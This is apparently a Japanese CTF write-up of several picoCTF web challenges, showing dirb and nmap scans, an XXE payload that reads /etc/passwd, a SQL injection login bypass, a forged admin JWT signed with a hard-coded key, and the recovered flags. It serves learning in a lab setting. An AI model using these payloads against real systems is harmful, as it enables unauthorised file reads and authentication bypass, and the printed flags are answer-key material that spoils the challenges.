最初に
Writeup
SOAP
初手が怪しい名前ですね、、
以下のアドレスが開きました
http://saturn.picoctf.net:57378/
dirbするのと、同時にブラウザのNetworkタブからIPアドレスを調べて、nmapもしておく
Dirbの結果
┌──(kali㉿kali)-[/share_host/boueisyo/CY/2]
└─$ dirb http://saturn.picoctf.net:57378/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Feb 9 10:57:22 2025
URL_BASE: http://saturn.picoctf.net:57378/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://saturn.picoctf.net:57378/ ----
+ http://saturn.picoctf.net:57378/data (CODE:405|SIZE:153)
(!) FATAL: Too many errors connecting to host
(Possible cause: COULDNT CONNECT)
-----------------
END_TIME: Sun Feb 9 11:15:52 2025
DOWNLOADED: 2438 - FOUND: 1
Nmapの結果
┌──(kali㉿kali)-[~]
└─$ nmap -T4 -p- 13.59.203.175
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-09 10:57 JST
Warning: 13.59.203.175 giving up on port because retransmission cap hit (6).
Nmap scan report for ec2-13-59-203-175.us-east-2.compute.amazonaws.com (13.59.203.175)
Host is up (0.20s latency).
Not shown: 65525 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
2376/tcp open docker
52092/tcp open unknown
56251/tcp open unknown
56876/tcp open unknown
57378/tcp open unknown
57625/tcp open unknown
58101/tcp open unknown
59955/tcp filtered unknown
65045/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 882.81 seconds
Detailsを押した後のHTTP通信の内容
POST /data HTTP/1.1
Host: saturn.picoctf.net:57378
Content-Length: 61
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: http://saturn.picoctf.net:57378
Referer: http://saturn.picoctf.net:57378/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
<?xml version="1.0" encoding="UTF-8"?><data><ID>1</ID></data>
<ID>1</ID>
の値を2や3に変えると別のDetailsボタンを押したときの出力に変えれそう
Detailsボタンを教えた後のヘッダーを/data
から/etc
に変えてみたが、Could not find the details. Better luck next time :(
の出力があったため、200以外のステータスコードが帰ってきている
うーん、わからない、、、ということで、ヒントを見てみると、XML external entity Injection
とあった。。
これは何だ、、、
ということで、調べてみた
XMLには外部ファイルからデータを読み込むことがあるみたいで、それを利用すれば、ディレクトリトラバーサルみたいなことができるみたい
今回の問題では以下の内容をリクエストに記載することで、フラグがとれます!
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data>
<ID>
&xxe;
</ID>
</data>
参考したWebページ
More SQLi
' or '1'='1';--
を入れてみると、SQLインジェクションできました
その時のリクエストの内容
POST / HTTP/1.1
Host: saturn.picoctf.net:55837
Content-Length: 77
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://saturn.picoctf.net:55837
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://saturn.picoctf.net:55837/
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=j4nir0na8jecjsdeftr0mk5qq1
Connection: keep-alive
username=%27+or+%271%27%3D%271%27%3B--&password=%27+or+%271%27%3D%271%27%3B--
ここからわからなくなったので、Writeupを見てみたら、Responseにフラグが記載されていたんですね、、
レスポンスはBurpのResponseタブから確認できます(簡単ですが、以下が手順です)
手順1:Proxyタブでリクエストのところで、右クリックして、「Send to Repeater」を選択
参考にしたWriteup
MatchTheRegex
<script>
function send_request() {
let val = document.getElementById("name").value;
// ^p.....F!?
fetch(`/flag?input=${val}`)
.then(res => res.text())
.then(res => {
const res_json = JSON.parse(res);
alert(res_json.flag)
return false;
})
return false;
}
</script>
Java Code Analysis!?!
与えられたログイン情報からログインして、Flagの本を検索してみると、Adminと記載されていました
また、その時のページのソースは以下です。Tokenの要素が足りないみたいですね、、(逆に足りていればいいのか)
{"type":"UNAUTHORIZED","payload":{"message":"You do not have the authority to access this resource","details":["The token was expected to have 3 parts, but got 1."]}}
GET /base/users/photo/1 HTTP/1.1
Host: saturn.picoctf.net:60832
Accept: application/json, text/plain, */*
Accept-Language: en-US
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiRnJlZSIsImlzcyI6ImJvb2tzaGVsZiIsImV4cCI6MTczOTY5MzU1MCwiaWF0IjoxNzM5MDg4NzUwLCJ1c2VySWQiOjEsImVtYWlsIjoidXNlciJ9.2O2he25hMtQi2Kq7sWFeB6QcxfLC2OL7bahLuDKBd9s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Referer: http://saturn.picoctf.net:60832/
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=j4nir0na8jecjsdeftr0mk5qq1
Connection: keep-alive
Authorizationのところで、JWTトークンを使っていますが、秘密鍵がないと変更することはできないです、、
ここでわからなくなったので、Writeupを見てみる
/bookshelf-pico/src/main/java/io/github/nandandesai/pico/security/
にJWTトークンを作成するコードがあるみたい
JwtService.java
を見てみると、SecretGenerator.java
から秘密鍵を取得しているみたいだが、SecretGenerator.java
では23行目で秘密鍵がハードコーディングされている。。。
この秘密鍵を使って、JWTを書き換えてみる
しかし、うまくいかない。。。
/bookshelf-pico/src/main/java/io/github/nandandesai/pico/config/BookShelfConfig.java
の76行目にAdminのEmailがあった(adminでした、、、)
かつ、userのすぐ下で作成されているので、おそらくuserIdは2と推測できます
BookController.java
の@RequestMapping("/base")
と@GetMapping("/books/pdf/{id}")
から、FlagのPDFのは以下のパスになります
http://saturn.picoctf.net:61511/base/books/pdf/5
(FlagのPDFのCoverが5だったので、PDFも5だと判断しました)
これをBurpでリクエストしていたのですが、なかなかうまくいかなかったので、Curlでたたいたらフラグが手に入りました
curl -X GET \
'http://saturn.picoctf.net:61511/base/books/pdf/5' \
-H 'Host: saturn.picoctf.net:61511' \
-H 'Accept: application/json, text/plain, */*' \
-H 'Accept-Language: en-US' \
-H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiQWRtaW4iLCJpc3MiOiJib29rc2hlbGYiLCJleHAiOjE3NTk3ODg1MDMsImlhdCI6MTczOTE4MzcwMywidXNlcklkIjoyLCJlbWFpbCI6ImFkbWluIn0.7p9TDQlPTQsCnXclcK3YNcgaDVtOUcvUoVawlByOwWY' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36' \
-H 'Referer: http://saturn.picoctf.net:61511/' \
-H 'Accept-Encoding: gzip, deflate, br' \
-H 'Connection: keep-alive'
(Great job! Here's your flag:)'
()'
()'
(picoCTF{w34k_jwt_n0t_g00d_6e5d7df5})'
ET
endstream
endobj
findme
I was redirected here by a friend of mine but i couldnt find anything. Help me search for flags :-)
友人からここに来るように言われたんだけど、何も見つからなかったんだ。 フラッグ探しを手伝ってください :-)
Web問題だったので、Burpでいろいろ試してみると、怪しい文字列がidとしてやり取りされていました
GET /next-page/id=cGljb0NURntwcm94aWVzX2Fs HTTP/1.1
Host: saturn.picoctf.net:64798
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US
Referer: http://saturn.picoctf.net:64798/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
GET /next-page/id=bF90aGVfd2F5X2QxYzBiMTEyfQ== HTTP/1.1
Host: saturn.picoctf.net:64798
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://saturn.picoctf.net:64798/next-page/id=cGljb0NURntwcm94aWVzX2Fs
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
これをつないで、BASE64でデコードすればフラグになります!
最後に
Hardの2問はWriteupがほとんどなく、あるものを見てもよくわからなかった、、、、
Mediumまでの問題で学んだことは以下3つです
- XMLでデータのやり取りをしていれば、XXEの脆弱性を疑う
- BurpのRepeaterを使えば、HTTP通信のレスポンスを確認できる
- コードが当たられた場合はハードコーディングを疑ってみる